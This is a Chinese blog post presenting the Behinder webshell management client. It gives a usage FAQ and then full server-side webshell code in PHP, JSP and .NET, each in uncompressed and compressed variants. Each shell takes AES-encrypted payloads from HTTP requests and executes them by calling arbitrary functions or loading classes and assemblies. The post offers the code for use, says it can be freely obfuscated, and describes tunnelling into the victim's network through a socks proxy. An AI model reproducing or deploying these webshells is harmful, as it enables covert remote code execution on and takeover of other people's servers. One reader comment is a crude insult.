“冰蝎”动态二进制加密网站管理客户端

“冰蝎”动态二进制加密网站管理客户端

Behinder

功能介绍原文链接:

《利用动态二进制加密实现新型一句话木马之客户端篇》 https://xz.aliyun.com/t/2799

工作原理原文链接:

《利用动态二进制加密实现新型一句话木马之Java篇》 https://xz.aliyun.com/t/2744

《利用动态二进制加密实现新型一句话木马之.NET篇》 https://xz.aliyun.com/t/2758

《利用动态二进制加密实现新型一句话木马之PHP篇》 https://xz.aliyun.com/t/2774

运行环境

客户端:jre6~jre8
服务端:.net 2.0+;php 5.4-7.2;java 6+

疑问解答

Mac系统下好像打不开?

Mac系统下需要通过-XstartOnFirstThread参数启动,java -XstartOnFirstThread -jar Behinder.jar。

PHP连接有问题?

因为采用了aes加密,请确认PHP是否开启了OpenSSL扩展,可通过echo var_dump(function_exists
(“openssl_encrypt”));是否为true来判断。

直接用浏览器访问shell会报错?

客户端附带的服务端为最简版本,没有做容错处理,所以直接浏览器访问可能会报错,但是不影响客户端正常连接。如果
不介意服务端体积增加几个字节,可以自己加一些容错判断语句。

我可以对shell进行修改么?

客户端附带的服务端可以进行各种变形,只要基本逻辑不变,客户端即可正常连接。

开了socks代理,但是服务器并没有开启代理端口?

socks代理的端口不是开在远程服务器上的,是开在本地的,利用socks客户端直接连接本地IP的代理端口即可,
冰蝎会把本地端口的流量通过http隧道透传至远程服务器网络。

PHP脚本

未压缩:

<?phpsession_start();if (isset($_GET[’mracat.com’])){ $key=substr(md5(uniqid(rand())),16); $_SESSION[’k’]=$key; print $key;}else{ $key=$_SESSION[’k’]; $decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key); $arr=explode(’|’,$decrptContent); $func=$arr[0]; $params=$arr[1]; $func($params);}?>

压缩后:

<?php session_start();isset($_GET[’mracat.com’])?print $_SESSION[’k’]=substr(md5(uniqid(rand())),16):($b=explode(’|’,openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION[’k’])))&$b[0]($b[1]);?>

或者:

<?php session_start();isset($_GET[’mracat.com’])?print $_SESSION[’k’]=substr(md5(uniqid(rand())),16):($b=explode(’|’,openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION[’k’])))&call_user_func($b[0],$b[1]);?>

JSP脚本

未压缩:

<%@ page import="java.util.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec"%><%!/*定义ClassLoader的子类Myloader*/public static class Myloader extends ClassLoader { public Myloader(ClassLoader c) {super(c);} public Class get(byte[] b) { //定义get方法用来将指定的byte[]传给父类的defineClass return super.defineClass(b, 0, b.length); }}%><% if (request.getParameter("mracat.com")!=null) { //判断请求方法是不是带密码的握手请求,此处只用参数名作为密码,参数值可以任意指定 String k = UUID.randomUUID().toString().replace("-", "").substring(0, 16); //随机生成一个16字节的密钥 request.getSession().setAttribute("uid", k); //将密钥写入当前会话的Session中 out.print(k); //将密钥发送给客户端 return; //执行流返回,握手请求时,只产生密钥,后续的代码不再执行 } /* 当请求为非握手请求时,执行下面的分支,准备解密数据并执行 */ String uploadString= request.getReader().readLine();//从request中取出客户端传过来的加密payload Byte[] encryptedData= new sun.misc.BASE64Decoder().decodeBuffer(uploadString); //把payload进行base64解码 Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); // 选择AES解密套件 c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES")); //从Session中取出密钥 Byte[] classData= c.doFinal(encryptedData); //AES解密操作 Object myLoader= new Myloader().get(classData).newInstance(); //通过ClassLoader的子类Myloader的get方法来间接调用defineClass方法,将客户端发来的二进制class字节数组解析成Class并实例化 String result= myLoader.equals(pageContext); //调用payload class的equals方法,我们在准备payload class的时候,将想要执行的目标代码封装到equals方法中即可,将执行结果通过equals中利用response对象返回。%>

压缩后:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("mracat.com")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

或者:

<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("mracat.com")!=null)new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())).newInstance().equals(pageContext);%>

.NET脚本

未压缩:

<%@ Page Language="C#" %><% if (Request["mracat.com"]!=null) { Session.Add("key", Guid.NewGuid().ToString().Replace("-", "").Substring(16)); Response.Write(Session[0]); return; } byte[] key = Encoding.Default.GetBytes(Session[0] + ""); byte[] content = Request.BinaryRead(Request.ContentLength); byte[] decryptContent = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(key, key).TransformFinalBlock(content, 0, content.Length); System.Reflection.Assembly.Load(decryptContent).CreateInstance("Payload").Equals(this);%>

压缩后:

<%@ Page Language="C#" %><%if (Request["mracat.com"]!=null){ Session.Add("k", Guid.NewGuid().ToString().Replace("-", "").Substring(16)); Response.Write(Session[0]); return;}byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);System.Reflection.Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>

或者:

<%@ Page Language="C#" %><%if (Request["mracat.com"]!=null)System.Reflection.Assembly.Load(Request.BinaryRead(Request.ContentLength)).CreateInstance("U").Equals(this);%>

说明

更多文章:https://mracat.com/211.html

文章工具来源于冰蝎

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论

    • 猫先生博客
    • 热搜0
      文章非常好超喜欢
      2022年前
    • 猫先生博客
    • William0
      厉害厉害厉害厉害厉害厉害厉害厉害厉害厉害厉害厉害
      2022年前
    • 猫先生博客
    • 逍遥少爷0
      我cao尼玛艾斯比
      2022年前
    • 猫先生博客
    • 噜啦啦0
      666不错
      2022年前